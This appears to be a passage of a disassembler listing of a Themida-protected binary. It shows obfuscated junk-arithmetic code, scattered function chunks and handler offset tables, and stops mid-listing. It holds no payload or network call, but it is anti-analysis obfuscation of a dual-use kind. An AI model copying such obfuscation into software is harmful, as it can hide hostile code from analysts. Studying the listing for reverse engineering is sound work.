loc_55F8B9: ; CODE XREF: Themida_:00554741j
mov dl, ah
jmp loc_556E13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F8C0: ; CODE XREF: sub_559C84+2105j
push 6D7Fh
jmp loc_55F395
; ---------------------------------------------------------------------------
loc_55F8CA: ; CODE XREF: sub_559C84+4450j
mov ecx, 272A6DE8h
add esi, 162C5EBBh
jmp loc_55AB35
; ---------------------------------------------------------------------------
loc_55F8DA: ; CODE XREF: sub_559C84+EACj
shr ecx, 1
or ecx, 47E27877h
sub ecx, 23804601h
push eax
mov eax, 77E04CC1h
jmp loc_55526D
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55F8F3: ; CODE XREF: Themida_:0055F160j
pop eax
push ecx
mov ecx, esp
add ecx, 4
push eax
jmp loc_557A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557976
loc_55F903: ; CODE XREF: sub_557976+1Aj
inc dh
push ecx
mov cl, 5Fh
sub cl, 50h
dec cl
shl cl, 4
push ax
mov al, 3Eh
add al, 12h
xor al, 79h
xor cl, al
pop ax
xor dh, cl
mov ecx, [esp+0Ch+var_C]
add esp, 4
jmp loc_5593D5
; END OF FUNCTION CHUNK FOR sub_557976
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F92C: ; CODE XREF: sub_559C84+3AEFj
sub ebp, 251F1B36h
xor ebp, 0D17272A3h
xor eax, ebp
pop ebp
jmp loc_55BA6B
; ---------------------------------------------------------------------------
loc_55F940: ; CODE XREF: sub_559C84+3898j
pop cx
mov cl, bl
pop ebx
jmp loc_553F7B
; ---------------------------------------------------------------------------
loc_55F94A: ; CODE XREF: sub_559C84+127Dj
add esp, 4
add edi, edx
add edi, 1C6F43ABh
pop edx
push edx
push esi
mov esi, 20EB12C9h
mov edx, 0FB68FC60h
add edx, esi
pop esi
push edi
mov edi, 75115E4Ch
sub edx, 422752C5h
add edx, edi
add edx, 422752C5h
pop edi
jmp loc_557D93
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55F982: ; CODE XREF: Themida_:00555F78j
neg dh
and dh, 1Ah
xor dh, 45h
xor dh, 0D1h
xor dh, 0E4h
jmp loc_556A0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F995: ; CODE XREF: sub_559C84-46F0j
or eax, eax
jnz loc_555E7F
sub esp, 4
mov [esp+0], ebx
sub esp, 4
mov [esp+4+var_4], edx
jmp loc_55C33C
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55F9B4: ; CODE XREF: Themida_:0055932Fj
add eax, 4
push 32DBh
jmp loc_557197
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55F9C3: ; CODE XREF: sub_559C84-1ED9j
add edx, edi
pop edi
jmp loc_5536AE
; ---------------------------------------------------------------------------
loc_55F9CB: ; CODE XREF: sub_559C84+1D3j
pop ebx
pop ebp
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55F9D2: ; CODE XREF: sub_559C84-4DE8j
or eax, eax
jz loc_556108
push dword ptr [edi+28h]
push [esp+46h+var_46]
push [esp+4Ah+var_4A]
pop eax
sub esp, 4
mov [esp+4Eh+var_4E], ecx
mov ecx, esp
add ecx, 4
push esi
mov esi, 4
jmp loc_55A116
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55F9FD proc near ; CODE XREF: sub_559C84-2D82j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005561A7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055636E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055782D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00558C95 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055F535 SIZE 00000034 BYTES
push ebx
push [esp+8+var_4]
mov ebx, [esp+0]
add esp, 4
pop [esp+8+var_8]
pop esp
mov [esp+0], dx
push eax
mov ah, 63h
mov dh, ah
push [esp+4+var_4]
jmp loc_5561A7
sub_55F9FD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55FA1D: ; CODE XREF: sub_559C84+2C82j
add edi, edx
pop edx
jmp loc_555367
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_55496A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55FA35: ; CODE XREF: sub_559C84-3C0j
add edi, 0BB22553h
sub ecx, edi
pop edi
push ecx
push ecx
mov ecx, 75061F7Dh
xor [esp+44h+var_42+2], ecx
pop ecx
pop ebp
xor ebp, 75061F7Dh
pop ecx
add eax, ebp
pop ebp
jmp loc_555251
; ---------------------------------------------------------------------------
loc_55FA5A: ; CODE XREF: sub_559C84-2A1Cj
xchg edx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
mov ax, word ptr [esp-4+arg_0]
push ebp
jmp loc_55B235
; ---------------------------------------------------------------------------
loc_55FA6A: ; CODE XREF: sub_559C84-3B4Bj
push edx
push ecx
mov ch, 0ADh
jmp loc_55DCA9
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55FA73 proc near ; CODE XREF: sub_5576EE+1j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055478A SIZE 00000006 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, 36337FABh
jmp loc_55478A
sub_55FA73 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55FA86: ; CODE XREF: sub_559C84-1B27j
mov edx, 55120FD6h
and edi, edx
pop edx
xor edi, 55820FD6h
and eax, edi
push [esp+52h+var_52]
push [esp+56h+var_58+2]
jmp loc_557C36
; ---------------------------------------------------------------------------
loc_55FAA1: ; CODE XREF: sub_559C84+236Fj
push esp
pop [esp+46h+var_46]
push ecx
jmp loc_557AA0
; ---------------------------------------------------------------------------
loc_55FAAB: ; CODE XREF: sub_559C84-2391j
push [esp+46h+var_46]
jmp loc_55A60C
; ---------------------------------------------------------------------------
loc_55FAB3: ; CODE XREF: sub_559C84+37E8j
sub ebx, edx
push ebp
mov ebp, 76FA6311h
add ebx, ebp
pop ebp
mov edx, [esp+48h+var_4A+2]
add esp, 4
sub ebx, 2D494D1Eh
add ebx, 59A71D84h
jmp loc_55EAE9
; ---------------------------------------------------------------------------
loc_55FAD8: ; CODE XREF: sub_559C84+52BBj
pop esp
mov [esp+5Ah+var_5C+2], esi
push 7E75h
mov [esp+5Eh+var_60+2], ebx
mov ebx, 3C2E3A97h
jmp loc_55B382
; ---------------------------------------------------------------------------
loc_55FAEE: ; CODE XREF: sub_559C84+1DBj
pop esp
mov [esp+40h+var_42+2], ebx
mov bl, ch
mov ch, byte ptr [esp+40h+var_3E+2]
mov byte ptr [esp+40h+var_3E+2], bl
jmp loc_55D2BF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55FB01: ; CODE XREF: Themida_:00554E44j
push esp
pop ebp
push edx
mov edx, 4
add ebp, 3BB1784Bh
jmp loc_55D6BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55FB14: ; CODE XREF: sub_559C84-131Aj
sub ecx, ebx
pop ebx
add esi, ecx
mov ecx, [esp+0]
add esp, 4
push eax
push 6725h
mov [esp+2+var_4+2], ebp
mov ebp, 2
mov eax, ebp
pop ebp
add esi, eax
pop eax
jmp loc_555EF3
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554D6A
loc_55FB38: ; CODE XREF: sub_554D6A+11j
mov esp, [esp+0]
sub esp, 4
jmp loc_55E7C0
; END OF FUNCTION CHUNK FOR sub_554D6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55FB43: ; CODE XREF: sub_559C84+12B4j
mov eax, [esp+38h+var_3A+2]
add esp, 4
jmp loc_55DA2E
; ---------------------------------------------------------------------------
loc_55FB4E: ; CODE XREF: sub_559C84+4EACj
movzx cx, al
push edx
sub esp, 4
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
jmp loc_554610
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55369E
loc_55FB65: ; CODE XREF: sub_55369E+Bj
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_55369E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55FB6A: ; CODE XREF: sub_559C84-E5Fj
pop edx
pop [esp+20h+var_20]
jmp loc_55CA0C
; ---------------------------------------------------------------------------
loc_55FB73: ; CODE XREF: sub_559C84+20DCj
push [esp+6Ah+var_6A]
pop eax
push eax
jmp loc_55E536
; ---------------------------------------------------------------------------
loc_55FB7D: ; CODE XREF: sub_559C84+3989j
mov edi, [esp+18h+var_18]
add esp, 4
jmp sub_55895E
; ---------------------------------------------------------------------------
loc_55FB8B: ; CODE XREF: sub_559C84+2718j
push esi
mov esi, esp
add esi, 4
jmp loc_55DA9D
; ---------------------------------------------------------------------------
loc_55FB99: ; CODE XREF: sub_559C84+167Cj
sub edx, 52DA6294h
shr edx, 2
shl edx, 8
jmp loc_55D0F7
; ---------------------------------------------------------------------------
loc_55FBAA: ; CODE XREF: sub_559C84-65B1j
mov [esp+12h+var_14+2], ebx
mov ebx, 6B6819B6h
add edi, ebx
jmp loc_55A4AD
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55FBB9: ; CODE XREF: Themida_:00554726j
pop edx
jmp loc_554865
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55FBBF: ; CODE XREF: sub_559C84-843j
mov esp, [esp+10h+var_10]
jmp loc_5538C5
; ---------------------------------------------------------------------------
loc_55FBC7: ; CODE XREF: sub_559C84-724j
mov esi, 261D6CA4h
add ebx, esi
pop esi
jmp loc_556012
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55FBD4: ; CODE XREF: Themida_:0055969Aj
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
bt [esp], ax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55FBE9: ; CODE XREF: sub_559C84+6E5j
sub ebp, ebx
pop ebx
jmp loc_55F61D
; ---------------------------------------------------------------------------
loc_55FBF1: ; CODE XREF: sub_559C84-4018j
add esp, 4
jmp sub_5599A2
; ---------------------------------------------------------------------------
loc_55FBFC: ; CODE XREF: sub_559C84+14D6j
mov ebp, 0AC6251Bh
not ebp
neg ebp
jmp loc_5596CF
; ---------------------------------------------------------------------------
loc_55FC0A: ; CODE XREF: sub_559C84+42B5j
push small 93Bh
mov [esp+0], ax
jmp loc_55D5ED
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
lodsb
jmp loc_55E4F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55FC1D: ; CODE XREF: sub_559C84-5FECj
mov edi, [esp+20h+var_20]
jmp loc_55C7E1
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55FC25: ; CODE XREF: Themida_:00558FA4j
sub dword ptr [esp], 3A5F79A0h
pop ecx
add ecx, 3A5F79A0h
jmp loc_55684C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55FC38: ; CODE XREF: sub_559C84+1EDFj
xchg edx, [esp+20h+var_20]
jmp loc_556027
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55FC40: ; CODE XREF: Themida_:0055710Aj
push ebp
mov ebp, 2E7A230Ah
shr ebp, 3
push eax
mov eax, 48E603A8h
dec eax
add eax, 0D42E19E7h
add ebp, eax
pop eax
add esi, ebp
mov ebp, [esp]
add esp, 4
pop ebx
jmp loc_55EE8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553D58
loc_55FC66: ; CODE XREF: sub_553D58+31CCj
pop edx
pop ecx
sub esp, 4
mov [esp+0], ecx
mov ch, 0Ch
push ebx
mov bl, 9Eh
jmp loc_55714D
; END OF FUNCTION CHUNK FOR sub_553D58
; ---------------------------------------------------------------------------
dd offset loc_5BACA7
dd 16E9h, 33133250h, 5BB8B0h, 0FA44B46Bh, 5BACF1h, 0
dd 213h, 2, 1, 6, 0FA44B46Bh, 5 dup(0)
dd offset byte_56F90D
dd offset loc_573509
dd offset loc_574113
dd offset loc_56E9D2
dd offset loc_564545
dd offset loc_568298
dd offset loc_5753F6
dd offset loc_5711C1
dd offset loc_569A37
dd offset sub_56D464
dd offset sub_573612
dd offset sub_5753A5
dd offset sub_570082
dd offset sub_56E90A
dd offset sub_572075
dd offset sub_57266F
dd offset sub_56666D
dd offset sub_570E81
dd offset sub_562BA0
dd offset sub_56AB51
dd offset sub_56F782
dd offset sub_563FA2
dd offset sub_563152
dd offset sub_575420
dd offset sub_56628B
dd offset sub_566117
dd offset sub_56D69D
dd offset sub_5745B5
dd offset sub_572D45
dd offset sub_57549C
dd offset sub_563207
dd offset sub_5716E8
dd offset sub_573A7F
dd offset sub_574F16
dd offset sub_56E96D
; ---------------------------------------------------------------------------
or dh, ah
push esi
add dh, ch
retf
; ---------------------------------------------------------------------------
dw 56h
dd offset sub_572270
dd offset sub_566882
dd offset sub_5697F2
dd offset sub_564BD0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 44h, 56h, 0
; ---------------------------------------------------------------------------
retn 560Eh
; ---------------------------------------------------------------------------
align 4
dd offset sub_5619EF
dd offset sub_56E0B0
dd offset sub_5747AF
dd offset sub_5738FA
dd offset sub_572805
dd offset sub_5739E2
dd offset sub_56BD36
dd offset sub_56B06D
dd offset sub_572DD7
dd offset sub_56241E
dd offset sub_5726FB
dd offset sub_560C12
dd offset sub_568764
dd offset sub_574000
dd offset sub_570732
dd offset sub_569FB8
dd offset sub_56931E
dd offset sub_56D3AF
dd offset sub_574287
dd offset sub_5713A7
dd offset sub_569A75
dd offset sub_56BC97
dd offset sub_5629A9
dd offset sub_560782
dd offset sub_568658
dd offset sub_56D3B7
dd offset sub_561784
dd offset sub_57523A
dd offset sub_567CFE
dd offset sub_566AF1
dd offset sub_56DFF9
dd offset sub_5690E8
dd offset sub_563ADF
; ---------------------------------------------------------------------------
fimul dword ptr [edx]
push edi
add [ecx-78h], bl
push esi
add [ebx], dh
retn 56h
; ---------------------------------------------------------------------------
dd offset loc_569CDC
dd offset sub_574AF3
dd offset sub_573D90
dd offset sub_572141
dd offset sub_56EE9F
dd offset sub_570A94
dd offset sub_560137
dd offset sub_56D359
dd offset sub_564017
dd offset sub_562EA2
dd offset sub_5734A7
dd offset sub_56E5BB
dd offset sub_574CBE
dd offset sub_564B0B
dd offset sub_56E7C8
dd offset sub_574FC9
dd offset sub_562676
dd offset sub_56DEC6
dd offset sub_562ED9
dd offset sub_56D855
dd offset sub_560EA2
dd offset sub_567CF5
dd offset sub_56264C
dd offset sub_56B6D5
dd offset sub_56DDC5
dd offset sub_565BBC
dd offset sub_567CC4
dd offset sub_56CD13
dd offset sub_572EDC
dd offset sub_5680FB
dd offset sub_567D72
dd offset sub_574DC1
dd offset sub_5692D3
dd offset sub_5729DA
dd offset sub_56AB93
dd offset sub_569186
dd offset sub_56BD61
dd offset sub_5604FE
dd offset sub_5671E1
dd offset sub_565CB7
dd offset sub_567F6F
dd offset sub_567866
dd offset sub_569CBC
dd offset sub_561F05
dd offset sub_56CC46
dd offset sub_567C58
dd offset sub_56F3B2
dd offset sub_564746
dd offset sub_566400
dd offset sub_5754DA
dd offset sub_57109F
dd offset sub_56638C
dd offset sub_560844
dd offset sub_56306E
dd offset sub_566AF9
dd offset sub_56749A
dd offset sub_56FD38
dd offset sub_570C6A
dd offset sub_569E1B
dd offset sub_5680F2
dd offset sub_574503
dd offset sub_569DB5
dd offset sub_57146D
dd offset sub_5729F9
dd offset sub_569A84
dd offset sub_571890
dd offset sub_570621
dd offset sub_56592A
dd offset sub_56C474
dd offset sub_56D455
dd offset sub_56EF22
dd offset sub_573A8F
dd offset sub_56F029
dd offset sub_572641
dd offset sub_570CE4
dd offset sub_56D414
dd offset sub_56FA44
dd offset sub_5662F9
dd offset sub_5747FA
; ---------------------------------------------------------------------------
lodsb
or al, 56h
add [edx], al
retf 56h
; ---------------------------------------------------------------------------
dd offset sub_5684A6
dd offset sub_571A50
dd offset sub_574229
dd offset sub_572E16
dd offset sub_574A21
dd offset sub_56B1DC
dd offset sub_5740F2
; ---------------------------------------------------------------------------
loc_55FF58: ; CODE XREF: Themida_:005A7D08j
; Themida_:005AB483j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 6114AF5h
mov eax, edi
add edi, 611480Dh
cmp eax, [edi+2Ch]
jnz short loc_55FF76
jmp short loc_55FF89
; ---------------------------------------------------------------------------
loc_55FF76: ; CODE XREF: Themida_:0055FF72j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_55FF85
; ---------------------------------------------------------------------------
loc_55FF80: ; CODE XREF: Themida_:0055FF87j
add [edi+ecx*4+40h], eax
dec ecx
loc_55FF85: ; CODE XREF: Themida_:0055FF7Ej
or ecx, ecx
jnz short loc_55FF80
loc_55FF89: ; CODE XREF: Themida_:0055FF74j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_55FF96: ; CODE XREF: Themida_:0055FF9Dj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_55FF96
; START OF FUNCTION CHUNK FOR sub_56D464
loc_55FF9F: ; CODE XREF: sub_56E0CB-E0DCj
; sub_5653AD:loc_56003Ej ...
lodsb
add al, 92h
jmp sub_56FA15
; END OF FUNCTION CHUNK FOR sub_56D464
; ---------------------------------------------------------------------------
loc_55FFA7: ; CODE XREF: Themida_:00571D26j
add esp, 4
xor ebx, esi
pop esi
sub ebx, 0E43A692Dh
jmp loc_57465C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CFE
loc_55FFB8: ; CODE XREF: sub_567CFE-22FCj
push edi
mov edi, 1
add eax, edi
pop edi
xor eax, 789FA651h
sub ecx, eax
pop eax
sub esp, 4
mov [esp+0Ch+var_C], ecx
add [esp+0Ch+var_C], 7DF95B68h
pop ebp
push edx
mov edx, 5EF93172h
jmp loc_56E0FB
; END OF FUNCTION CHUNK FOR sub_567CFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0CB
loc_55FFE5: ; CODE XREF: sub_56E0CB-3265j
xchg ecx, [esp+0]
mov esp, [esp+0]
cmp cx, ax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5681F5
loc_55FFF4: ; CODE XREF: sub_5681F5+675Dj
pop edx
push 7C71h
mov [esp+0], eax
loc_55FFFD: ; DATA XREF: sub_583550+468o
mov eax, 36857CC9h
jmp loc_573459
; END OF FUNCTION CHUNK FOR sub_5681F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_560007: ; CODE XREF: sub_566C83-6618j
sub eax, 623660FEh
add ebx, eax
mov eax, [esp+0]
add esp, 4
sub ebx, 41FB5339h
add ebx, eax
jmp loc_56A763
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_560024: ; CODE XREF: sub_56DA43+5540j
mov ebp, ecx
mov ecx, [esp+8+var_8]
jmp loc_57218C
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_56002E: ; CODE XREF: sub_56AEF2+9596j
mov esi, 6F6058AAh
jmp loc_57477E
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56504F
loc_560038: ; CODE XREF: sub_56504F+6j
push esp
jmp loc_566F09
; END OF FUNCTION CHUNK FOR sub_56504F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_56003E: ; CODE XREF: sub_5653AD+3673j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5653AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_560043: ; CODE XREF: sub_569AB3+13C7j
xchg esi, [esp+1Ch+var_1C]
pop esp
push eax
push ecx
mov ecx, 463E4372h
mov eax, ecx
pop ecx
jmp loc_56F333
; END OF FUNCTION CHUNK FOR sub_569AB3
; =============== S U B R O U T I N E =======================================
sub_560056 proc near ; CODE XREF: sub_56925C+95A4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560A03 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561E44 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00564953 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565023 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567724 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00569EE8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B143 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056CA31 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056CB17 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056E982 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F91E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572988 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573F9D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573FEC SIZE 00000014 BYTES
push ebp
jmp loc_56CB17
sub_560056 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_56005C: ; CODE XREF: sub_56628B-4F43j
push 6EC2h
jmp loc_562B97
; END OF FUNCTION CHUNK FOR sub_56628B
; =============== S U B R O U T I N E =======================================
sub_560066 proc near ; CODE XREF: sub_573876-2F26j
; FUNCTION CHUNK AT 00572631 SIZE 00000008 BYTES
push ebx
mov ebx, 1096426Eh
add ecx, ebx
pop ebx
jmp loc_572631
sub_560066 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_560074: ; CODE XREF: sub_564D26+8F77j
mov ebx, [esp+8+var_8]
add esp, 4
add esp, 4
shr ecx, 7
push 2617h
mov [esp+4+var_4], edx
push ebx
push ecx
mov ecx, 3F822223h
sub [esp+0Ch+var_8], ecx
pop ecx
mov edx, [esp+8+var_8]
add esp, 4
add edx, 3F822223h
push ecx
mov ecx, edx
push ecx
pop eax
pop ecx
push [esp+4+var_4]
push [esp+8+var_8]
jmp loc_56DE34
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_5600B7: ; CODE XREF: sub_56F1DB-4408j
mov eax, 5CC35B23h
xor eax, 576D79FDh
sub eax, 706B35C3h
xor eax, 16E1533Bh
not eax
xor eax, 725C41DBh
add ebx, eax
mov eax, [esp+0]
add esp, 4
push 44B5h
mov [esp+0], ecx
mov ecx, 4
sub ebx, 516E0BCCh
add ebx, ecx
add ebx, 516E0BCCh
mov ecx, [esp+0]
add esp, 4
xchg ebx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
sub eax, 13510169h
mov ebx, eax
push [esp-4+arg_0]
pop eax
add esp, 4
; END OF FUNCTION CHUNK FOR sub_56F1DB
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_560115: ; CODE XREF: sub_569CBC+5j
push 47EBh
jmp loc_571B9F
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56011F: ; CODE XREF: sub_564D26-16D6j
dec ebp
dec ebp
sub ebp, 0A8E51A2Ah
add ebx, ebp
pop ebp
sub ecx, 1A65219Ch
add ecx, ebx
jmp loc_56FAFD
; END OF FUNCTION CHUNK FOR sub_564D26
; =============== S U B R O U T I N E =======================================
sub_560137 proc near ; DATA XREF: Themida_:0055FE10o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561387 SIZE 00000029 BYTES
mov cx, [esp+0]
push 952h
jmp loc_561387
sub_560137 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD97
loc_560145: ; CODE XREF: sub_56FD97-A387j
and ebp, 5E0A77FDh
push edi
mov edi, 3D6A72BAh
jmp sub_56D1DD
; END OF FUNCTION CHUNK FOR sub_56FD97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_560156: ; CODE XREF: sub_5620B7-B5Cj
mov ah, 22h
jmp loc_56ED11
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_56015D: ; CODE XREF: sub_574F16+3j
push small 5A0Ch
mov [esp+2+var_2], cx
push edx
jmp loc_5724D3
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_56016B: ; CODE XREF: sub_56EE9F-C6ECj
add ecx, edi
pop edi
xor ecx, [esp+4+var_4]
xor [esp+4+var_4], ecx
xor ecx, [esp+4+var_4]
pop esp
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56749A
loc_56017D: ; CODE XREF: sub_56749A+1DBDj
sub esi, 4
xchg esi, [esp+18h+var_18]
pop esp
jmp loc_57250C
; END OF FUNCTION CHUNK FOR sub_56749A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_56018C: ; CODE XREF: sub_561541+119B3j
mov edx, ebp
pop ebp
sub edx, ecx
push edx
jmp loc_56B4FB
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_560197: ; CODE XREF: sub_5678CB+D496j
sub al, ch
add al, 7Ch
pop ecx
push edx
jmp loc_567C91
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57109F
loc_5601A2: ; CODE XREF: sub_57109F-57CCj
pop esp
jmp loc_5741E8
; END OF FUNCTION CHUNK FOR sub_57109F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_5601A8: ; CODE XREF: sub_561418+B603j
mov [esp+0], ecx
jmp loc_574A64
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_5601B0: ; CODE XREF: sub_5685B2+540Cj
pop ebx
jmp loc_5629DB
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_5601B6: ; CODE XREF: sub_571C93+Fj
shr edi, 4
inc edi
jmp loc_56C9AD
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_5601BF: ; CODE XREF: sub_563A7F+B4B6j
sub edx, esi
add edx, 679C747Ch
xchg edx, esi
pop edx
push ecx
mov ecx, 5FEF8399h
sub esi, 15A27958h
add esi, ecx
add esi, 15A27958h
mov ecx, [esp+0]
jmp loc_5672B7
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_5601E6: ; CODE XREF: sub_561541+1010Cj
xor [esp+4+var_4], esi
xor esi, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov [esp+0], ebx
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
add esp, 4
jmp sub_56504F
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_560203: ; CODE XREF: sub_560844+8103j
pop edx
xchg esi, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp loc_56D823
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD38
loc_56020F: ; CODE XREF: sub_56FD38+3j
pop eax
push 104Fh
mov [esp+4+var_4], eax
jmp loc_56DD73
; END OF FUNCTION CHUNK FOR sub_56FD38
; ---------------------------------------------------------------------------
loc_56021D: ; CODE XREF: Themida_:00570920j
add esp, 4
add eax, esi
push dword ptr [esp]
push dword ptr [esp]
jmp loc_57471C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560C12
loc_56022D: ; CODE XREF: sub_560C12+73C1j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_560C12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5684A6
